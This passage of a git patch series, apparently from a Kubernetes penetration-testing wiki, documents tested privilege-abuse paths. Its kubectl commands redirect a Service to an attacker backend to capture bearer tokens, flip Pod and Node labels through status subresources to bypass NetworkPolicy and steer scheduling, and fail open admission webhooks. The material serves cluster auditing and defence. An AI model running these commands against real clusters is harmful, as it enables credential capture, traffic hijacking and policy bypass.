jsonpath='{.spec.type}{"\t"}{.spec.externalName}{"\n"}' + +# The tested target was an attacker-controlled Service in the same cluster. +kubectl patch service victim -n --type=merge \ + -p '{"spec":{"type":"ExternalName","externalName":"attacker..svc.cluster.local","selector":null}}' +``` + +A fresh request to `http://victim` then reached the attacker backend while retaining `Host: victim` and the controlled `Authorization: Bearer EXTERNALNAME_SECRET_TRUE_POSITIVE` header. This makes the path useful for quiet credential or request capture as well as response manipulation. Verify the same client, hostname, port, DNS result, and response marker before and after the change. HTTPS may fail closed when certificate or SNI validation does not match the original name, and cached DNS can delay the observed change. + ### Pod-label traffic hijack The Service does not need to be writable if the attacker can patch its selected Pods. This path was reproduced with an identity that had only `patch pods`: the trusted Pod was moved off `app=trusted`, the attacker Pod was assigned that label, and an unchanged request to the Service changed from `TRUSTED` to `ATTACKER`. @@ -532,5 +549,6 @@ It will install agents in the selected pods and gather their traffic information - [14] [EndpointSlices | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [15] [HTTPRoute | Kubernetes Gateway API](https://gateway-api.sigs.k8s.io/reference/api-types/httproute/) - [16] [Envoy Gateway quickstart](https://gateway.envoyproxy.io/latest/tasks/quickstart/) +- [17] [ExternalName Services | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) {{#include ../../banners/hacktricks-training.md}} From 260add388fed8d471aa1acd7ce287107adfc4d00 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 11:10:37 +0200 Subject: [PATCH 9/9] Document tested Kubernetes status permission abuse --- .../README.md | 59 +++++++++++++++++-- .../kubernetes-enumeration.md | 2 + .../kubernetes-network-attacks.md | 6 +- ...bernetes-validatingwebhookconfiguration.md | 4 ++ ...ubelet-authentication-and-authorization.md | 6 ++ 5 files changed, 71 insertions(+), 6 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 722bc4d848..d03ef020e2 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -42,14 +42,15 @@ Remember that you can get all the supported resources with `kubectl api-resource | Ingress create/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | | Gateway API HTTPRoute create/patch with an accepted attachment | Expose an internal Service, replace a trusted route, or silently mirror requests and authorization headers. | [Gateway API HTTPRoute exposure, replacement, and mirroring](../kubernetes-network-attacks.md#gateway-api-httproute-exposure-replacement-and-mirroring) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend, including through an ExternalName DNS alias. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | -| Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | +| Pod, Node, Namespace, Ingress, or Service status update/patch | Change controller- and policy-consumed state or legacy metadata: traffic identity, scheduling, admission scope, ingress routing, or LoadBalancer interception. | [Status subresource abuse](#nodes-and-pods-status) and [status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | +| Status writes to a legacy built-in whose strategy preserves `ownerReferences` | Make garbage collection delete the object despite no direct delete or parent-resource patch permission. | [Legacy status metadata and controller deputies](#legacy-status-metadata-and-controller-deputies) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | | PersistentVolume create | Mount a Node `hostPath` into a workload when PVC and Pod permissions complete the chain. | [Storage control objects](#storage-control-objects) | | Node update/patch | Add a label required by a pending workload and cause it to schedule on that Node. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | | Resource `*` create/update/patch | Includes one or more of the reproduced mutation paths above. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | | Non-resource `*` or `/debug/*`, only when a safe concrete debug endpoint responds | Expose live API-server diagnostics; the tested `/debug/pprof/goroutine` path disclosed process state. | [Sensitive non-resource URLs](#sensitive-non-resource-urls) | -Reads of Pods, logs, ConfigMaps, RBAC, identities, topology, and storage are normally **medium** because they supply attack inputs but do not cross the boundary alone. Ordinary Role/ClusterRole/RoleBinding/ClusterRoleBinding writes without the matching `bind` or `escalate` capability, Pod deletion/eviction, Node status, signer `sign`/`attest`, CSR status, SCC/PSP `use`, controller-specific admission objects, Kyverno/Gatekeeper, PodTemplate, ServiceAccount, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PVC, snapshot/CSI, CRD/APIService, PodCertificateRequest, DRA, StorageVersionMigration, Lease, and unknown custom-resource writes also default to medium until their exact platform path is reproduced. Traditional group/UID/user-extra impersonation grants are conditional because user impersonation is separately required. Basic discovery and self-review are **low**. Classification must use both API group and resource: a CRD named `secrets`, `pods`, or `services` is not the built-in object. Promote a custom-resource/controller finding only after validating its controller, target, and privilege differential. +Reads of Pods, logs, ConfigMaps, RBAC, identities, topology, and storage are normally **medium** because they supply attack inputs but do not cross the boundary alone. Ordinary Role/ClusterRole/RoleBinding/ClusterRoleBinding writes without the matching `bind` or `escalate` capability, Pod deletion/eviction, signer `sign`/`attest`, CSR status, SCC/PSP `use`, controller-specific admission objects, Kyverno/Gatekeeper, PodTemplate, ServiceAccount, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PVC, snapshot/CSI, CRD/APIService, PodCertificateRequest, DRA, StorageVersionMigration, Lease, and unknown custom-resource writes also default to medium until their exact platform path is reproduced. Traditional group/UID/user-extra impersonation grants are conditional because user impersonation is separately required. Basic discovery and self-review are **low**. Classification must use both API group and resource: a CRD named `secrets`, `pods`, or `services` is not the built-in object. Promote a custom-resource/controller finding only after validating its controller, target, and privilege differential. ## **Privilege Escalation** @@ -903,7 +904,7 @@ Confirm the cluster's proxy implementation actually programs the advertised IP. ### Nodes and Pods status -Principals with **`update`** or **`patch`** permissions over `nodes/status` can alter allocatable capacity and conditions used by scheduling and controllers. `pods/status` writes can spoof Pod IPs, readiness, phase, and other controller inputs. Metadata labels are not part of either status subresource; changing them requires patch/update on the parent Node or Pod. +Principals with **`update`** or **`patch`** permissions over `nodes/status` can alter allocatable capacity, addresses, images, conditions, and other scheduler/controller inputs. `pods/status` writes can spoof Pod IPs, readiness, phase, nominated node, DRA mappings, and other controller inputs. On several legacy built-ins, the status update strategy also preserves caller-supplied metadata. A non-node ServiceAccount was therefore able to change Pod and Node labels through `/status` despite being denied parent-resource patch. NodeRestriction blocks important parts of this behavior for real kubelet identities, but does not protect an unrelated controller or tenant identity that was granted status writes. The Pod readiness path was reproduced using an HTTP attacker Pod whose readiness probe always failed. The Service had no usable backend and its EndpointSlice reported `ready: false`. An identity with only `patch pods/status` set the Pod Ready condition to `True`; the EndpointSlice controller changed it to `ready: true`, and the same client request immediately received the attacker's marker: @@ -915,7 +916,25 @@ kubectl get endpointslice -n \ -l kubernetes.io/service-name= -o yaml ``` -Kubelet may restore the real condition, so capture the EndpointSlice change and application response. Pod status is high for this traffic primitive; Node status remains medium unless the complete scheduling chain is present. +Kubelet may restore the real condition, so capture the EndpointSlice change and application response. Pod and non-node Node status writes are high-risk permissions because deterministic metadata paths exist even when kubelet-owned status fields are quickly reconciled. + +The same Pod-status metadata behavior was reproduced against a Calico NetworkPolicy. A continuously running client labeled `access=denied` could not reach a protected Service. A status-only identity changed that Pod label to `access=granted`, the same client immediately connected, and restoring the label restored the denial: + +```bash +kubectl auth can-i patch pods/ --subresource=status -n +kubectl auth can-i patch pods/ -n # expected: no +kubectl patch pod -n --subresource=status --type=merge \ + -p='{"metadata":{"labels":{"access":"granted"}}}' +``` + +A non-node identity with exact status permission on one Node likewise added a label through `/status`; a pending Pod whose `nodeSelector` required that label was then scheduled to the Node. Preserve an unscheduled negative control and confirm the bound `spec.nodeName`: + +```bash +kubectl auth can-i patch nodes/ --subresource=status +kubectl auth can-i patch nodes/ # expected: no +kubectl patch node --subresource=status --type=merge \ + -p='{"metadata":{"labels":{"placement.example/trusted":"true"}}}' +``` Direct scheduling can use `create pods/binding` or the legacy core `bindings` resource to assign an unscheduled Pod to a Node. Admission and the scheduler are bypassed for the placement decision, but creating or modifying the Pod remains a separate permission: @@ -935,6 +954,38 @@ target: EOF ``` +### Legacy status metadata and controller deputies + +Status is not a generic read-only or telemetry boundary. Kubernetes authorizes each `/status` request separately, but legacy built-in update strategies may preserve metadata, and controllers deliberately trust many status fields. The following paths were reproduced on disposable Kubernetes v1.37 clusters with exact status grants and negative controls denying the corresponding parent-resource write. They are documented as dangerous **permission abuse and controller composition**, not as zero-days. + +| Exact permission or composition | Reproduced outcome | Important condition | +| --- | --- | --- | +| `patch namespaces/status` or `update namespaces/finalize` | Changed Namespace labels used by Pod Security Admission, Calico namespace selectors, ValidatingAdmissionPolicy bindings, validating-webhook selectors, and the DRA administrative-access gate. | The affected control must select or exempt namespaces by that label. | +| `patch pods/status` | Changed a Pod label used by a Service or NetworkPolicy; forged readiness/IP data also changed EndpointSlices and reachable backends. | Non-node principal; real kubelet identities receive NodeRestriction checks. | +| `patch nodes/status` | Added a scheduling label; forged capacity and image status also attracted eligible Pods to a controlled node. | Hard scheduling filters still apply, and kubelet reconciliation can restore fields. | +| `patch ingresses/status` | Added ingress-nginx v1.13.2 annotations that redirected traffic or invoked an attacker authentication backend and exposed the controlled Authorization header. | Controller- and annotation-specific; verify changed traffic, not only stored YAML. | +| `patch services/status` | Advertised a victim address as LoadBalancer ingress and caused kube-proxy interception (CVE-2020-8554 class). | The cluster proxy must program the advertised address. | +| `patch persistentvolumeclaims/status` + `delete` PVC | Removed `pvc-protection` and completed deletion while a Pod still used the claim. | Proves loss of the Kubernetes protection object, not automatic backend-disk deletion. | +| `patch persistentvolumes/status` + `delete` PV | Removed `pv-protection`; the PV disappeared and its existing PVC became `Lost`. | Backend data impact depends on provisioner, reclaim policy, and finalizers. | +| `patch resourcequotas/status` + create of a quota-limited resource | Increased authoritative `status.hard`/reduced `status.used`; an otherwise rejected second Pod was admitted. | The caller must also be allowed to create the limited resource. | +| `patch poddisruptionbudgets/status` + `create pods/eviction` | Repeated status writes won a race and allowed an otherwise rejected eviction. | Noisy and timing-sensitive; dangling owner-reference deletion below is deterministic where accepted. | +| `patch jobs/status` on a Job with a short TTL | Forged valid terminal conditions; the TTL controller deleted the Job and its still-running dependent Pod. | The Job must have `ttlSecondsAfterFinished`. | +| `patch pods/status` on a Job Pod | Forged Pod success; the Job controller completed the Job and TTL cleanup removed the live work. | Workflow- and TTL-dependent. | +| `patch pods/status` on an `OrderedReady` StatefulSet member | Forged readiness created the next ordinal; forged failure caused replacement of the named Pod. | Availability/sequencing impact unless the next replica has a sensitive side effect. | +| `patch replicasets/status` during a Deployment rollout | Forged availability defeated `maxUnavailable: 0` and allowed old Pods to be removed while the replacement was unavailable. | Target ReplicaSet must belong to an active rollout. | +| `patch cronjobs/status` on a `Replace` CronJob | A forged active reference caused the controller to delete a named Job, including a cross-namespace Job, with controller credentials. | Requires a writable existing CronJob using `concurrencyPolicy: Replace`. | +| Status-written dangling `ownerReferences` on Namespace, CRD, PDB, or DaemonSet | Garbage collection deleted the object without direct delete or parent patch permission. | Only legacy built-ins whose status strategy preserves owner references; an ordinary CRD status negative control wiped them. | +| `get pods/status` without parent Pod `get` | Returned the complete Pod object, including spec references and topology, not only `.status`. | Information disclosure; referenced Secret values are not included. | +| Exact `pods/status` + exact `pods/proxy` | Replaced the Pod IP with a routable node address; the unchanged API-server proxy request reached kube-proxy metrics. | Loopback/link-local checks remain; impact depends on reachable internal services. | +| Exact `nodes/status` + resource-name-scoped `nodes/proxy` | Replaced node A's InternalIP with node B's address; a request authorized for A reached B's kubelet. | `nodes/proxy` is already a highly privileged prerequisite. | +| `pods/status` for the sole backend of a `failurePolicy: Ignore` webhook | Held readiness false until EndpointSlice became unready; an otherwise authorized but webhook-denied request succeeded. | Requires no other ready backend and a fail-open webhook. | +| `pods/status` on a pending Pod | Set `nominatedNodeName` and bypassed normal scoring preferences, selecting a feasible attacker-controlled Node. | Does not bypass hard filters, taints, selectors, resources, or admission. | +| `pods/status` on a DRA Pod | Repointed regular and extended-resource claim mappings to another same-node Pod's prepared claim; a restarted container received the victim's CDI device while ownership/reservation still named the victim. | Reproduced on v1.37 with the SIG DRA example driver; requires a prepared same-Namespace, same-node claim and a useful real device for practical impact. | +| `pods/status` with alpha DRA node-allocatable resources | Forged positive CPU/memory quantities; after Pod-sandbox reconstruction cgroups exceeded Pod spec and quota admission limits. | `DRANodeAllocatableResources` must be enabled and the Pod must use a qualifying claim. | +| `pods/status` metadata finalizers | Added a deletion hold and later removed it using only the status endpoint. | Cannot initiate deletion alone; base impact is workflow/availability. | + +Before treating any of these as exploitable, confirm the exact subresource, verb, resource name, identity type, active controller, and follow-on permission. K8sPEASS performs those permission and visible-configuration checks read-only; it never submits a status mutation. + ### Policy and scheduling control objects Not every object named “policy” has the same impact. K8sPEASS rates the tested direct trust, traffic, and admission-control paths high, while availability-only or second-step governance changes normally remain medium: diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 19fd5f6313..5687c1cbbe 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -243,6 +243,8 @@ kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|int During review, restrict writes to cluster-scoped `DeviceClass` and `ResourceSlice` objects to admins and DRA drivers, and keep `ResourceClaim` / `ResourceClaimTemplate` rights scoped to the namespaces that need them. Driver permissions to update `ResourceClaim` status should be explicit and narrow. On nodes, the kubelet PodResources API is commonly exposed through `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets may mount that directory to inspect assigned devices, so review those Pods like other privileged node agents.[[31]](#references)[[32]](#references) +Also enumerate `get`, `patch`, and `update` on `pods/status` and `namespaces/status`. Disposable v1.37 tests showed three DRA-specific compositions: Pod-status claim-name mappings selected another same-node Pod's prepared CDI device; alpha `nodeAllocatableResourceClaimStatuses` values increased enforced CPU/memory after Pod-sandbox reconstruction; and a Namespace status label enabled an administrative ResourceClaim that the API server had rejected immediately before. These are conditional status-permission abuse paths, not automatic device or node compromise. Confirm the enabled DRA features, exact claim mappings, same-node allocation, installed driver, real device impact, and Namespace label gate before raising severity. + ### ClusterTrustBundle and add-on certificate trust Recent clusters may expose `ClusterTrustBundle` objects in the `certificates.k8s.io` API group. They are cluster-scoped X.509 trust anchor bundles that Pods can mount through projected volumes. Broad read access is expected, but write access is sensitive because changing trusted roots can affect webhooks, aggregated APIs, service meshes, and applications that consume cluster-distributed CA material.[[33]](#references)[[34]](#references) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 0d83f1d0de..7701b3227d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -306,12 +306,14 @@ Always preserve before/after evidence: the effective endpoints (`kubectl get end ### Status-based traffic interception -Two status-subresource paths were reproduced independently: +Status writers can affect network identity as well as health fields. Four paths were reproduced independently: - `patch pods/status` changed a deliberately NotReady attacker Pod to Ready; the EndpointSlice controller set `ready: true`, and the Service began returning the attacker marker. +- `patch pods/status` changed a continuously running client's label from `access=denied` to `access=granted`; a Calico NetworkPolicy immediately allowed the formerly blocked connection, and restoring the label restored the denial. The caller was denied parent Pod patch. - `patch services/status` advertised a trusted Pod IP as a LoadBalancer ingress IP; kube-proxy then intercepted the same direct-IP request and returned the attacker's Service backend, demonstrating the CVE-2020-8554 class. +- `patch ingresses/status` added a `permanent-redirect` annotation to an ingress-nginx v1.13.2 Ingress. The unchanged request changed from HTTP 200 at the trusted backend to HTTP 301 with the attacker URL, and removing the annotation through `/status` restored HTTP 200. A separate `auth-url` test delivered a controlled Authorization header to an attacker authentication backend. -See [Services status and Pod readiness](abusing-roles-clusterroles-in-kubernetes/README.md#services-status-cve-2020-8554) for the exact checks. Both require application-layer before/after proof because another controller may overwrite status or the local proxy may not claim the address. +See [status subresource abuse](abusing-roles-clusterroles-in-kubernetes/README.md#nodes-and-pods-status) for exact permission checks and the complete tested map. These paths require application-layer before/after proof because another controller may overwrite state, a CNI may implement selectors differently, an ingress controller may ignore the annotation, or the local proxy may not claim the address. ### DNS diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 0a11b180d4..82ff6a1997 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -136,6 +136,8 @@ kubectl patch validatingadmissionpolicybinding --type=json \ The namespace-selector variant was also reproduced: a Pod was denied while its namespace label matched the binding, then admitted after that label was removed. Record the denied negative control, one policy or namespace-label change, and an equivalent admitted request. Restore the original object immediately after testing. +Namespace label control may also arrive through a legacy subresource. On Kubernetes v1.37, identities with exact `patch namespaces/status` or `update namespaces/finalize`, but no parent Namespace patch/update, changed labels consumed by Pod Security Admission, a ValidatingAdmissionPolicyBinding `namespaceSelector`, and a validating webhook `namespaceSelector`. Each test preserved a denied request before the label change, an admitted equivalent request afterward, and a denied result again after restoration. Treat these subresource grants like Namespace metadata control rather than harmless status maintenance. + The same deny-change-admit method produced these additional true positives on Kubernetes 1.37: - `patch validatingadmissionpolicies` changed the rejecting CEL expression to `true`; the identical Pod request was then admitted. @@ -179,6 +181,7 @@ Permissions over the objects serving a webhook can bypass admission without perm - An identity with only exact `delete services` access removed the existing Service named by `clientConfig.service`. The identical Pod was then admitted because the API server connection failure failed open. - An identity with `get` plus `patch deployments/scale` on the sole backing Deployment scaled it to zero. After its only ready EndpointSlice Pod disappeared, the identical Pod was admitted. - An identity with only exact `delete deployments` access deleted that same sole backend. After cascading deletion removed its Pod, the identical request was admitted. +- An identity with exact `patch pods/status` for the only webhook backend Pod, but no Pod/EndpointSlice/webhook parent write, held the Pod's Ready condition false until the EndpointSlice became unready. With `failurePolicy: Ignore`, the identical otherwise-authorized request was admitted while the container remained running; kubelet recovery restored the denial. No-permission identities were forbidden from deleting the Service, changing the scale, or deleting the Deployment. These are conditional high-risk paths: confirm `failurePolicy: Ignore`, the exact Service reference, a currently reachable webhook, and an operation that the webhook actually blocks. For the Deployment paths, also prove that every ready endpoint belongs through Pod and ReplicaSet owner UIDs to that one Deployment; another ready backend prevents the demonstrated outage. @@ -188,6 +191,7 @@ kubectl get service,endpointslice,pod,replicaset,deployment -n -n kubectl auth can-i patch deployment/ --subresource=scale -n kubectl auth can-i delete deployment/ -n +kubectl auth can-i patch pods/ --subresource=status -n ``` ```bash diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 4697f2563f..b77d21edff 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -69,6 +69,12 @@ The authorization via webhook can be configured using the **param `--authorizati The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**[[1]](#references) +### Webhook cache and permission revocation + +Kubelet authentication and authorization decisions are cached for the configured TTLs. Removing an RBAC binding therefore does not necessarily revoke a request that the kubelet already authorized. This expected cache behavior was reproduced with the configuration above: after a bearer token successfully accessed `/stats/summary`, its ClusterRoleBinding was removed and API-server RBAC immediately denied the permission, but the same warmed token continued receiving HTTP 200 from that kubelet. A fresh token for the same ServiceAccount received HTTP 403.[[1]](#references)[[4]](#references) + +During containment, revoke or rotate the credential itself, restrict node-network reachability, and account for both `authentication.webhook.cacheTTL` and `authorization.webhook.cacheAuthorizedTTL`; deleting an RBAC binding alone is not an immediate kubelet-session kill switch. This is an incident-response edge caused by configured caching, not an authorization bypass or zero-day. + The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:[[1]](#references)[[6]](#references) - **Action**[[6]](#references)